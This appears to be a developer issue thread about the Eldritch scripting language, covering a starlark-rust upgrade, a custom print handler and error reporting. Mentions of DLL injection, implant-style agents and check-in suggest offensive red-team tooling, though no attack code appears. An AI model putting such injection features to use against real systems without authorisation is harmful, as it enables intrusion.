Check sys.shell('systemctl start service');

Eldritch function might have to be asynchronous to be run asyncly like in imix or golem.

Implement PID not found error in DLL inject

https://docs.rs/starlark/latest/starlark/eval/struct.Evaluator.html#method.set_print_handler

Use this to better handle how print is managed.

[hulto]

In order to implement the set_print_handler we need to update to at least:
https://github.com/facebookexperimental/starlark-rust/tree/420db32488a99a929def7e5e697f3f39abecdb6d

Doing so thought may require a larger refactor on initial testing:

It seems our boilerplate needs to become much larger.
At this point I think we should look into implementing native functions per @KCarretto suggestion.

Still uses impl StarlarkValue so may encounter the same problem.
I'm going to resolve updating our version of starlark in a separate issue.

PR to update starlark.

First pass at implementing custom print handler:
this works:

This fails.

Seems like complex types in the PrintHandler struct are causing issues.

[hulto]

Verifying print handler + mspc::channel works over thread::spawn.

May wish to build out a better way to report pre-check-in errors.

In this situation we don't have a way to see that error.
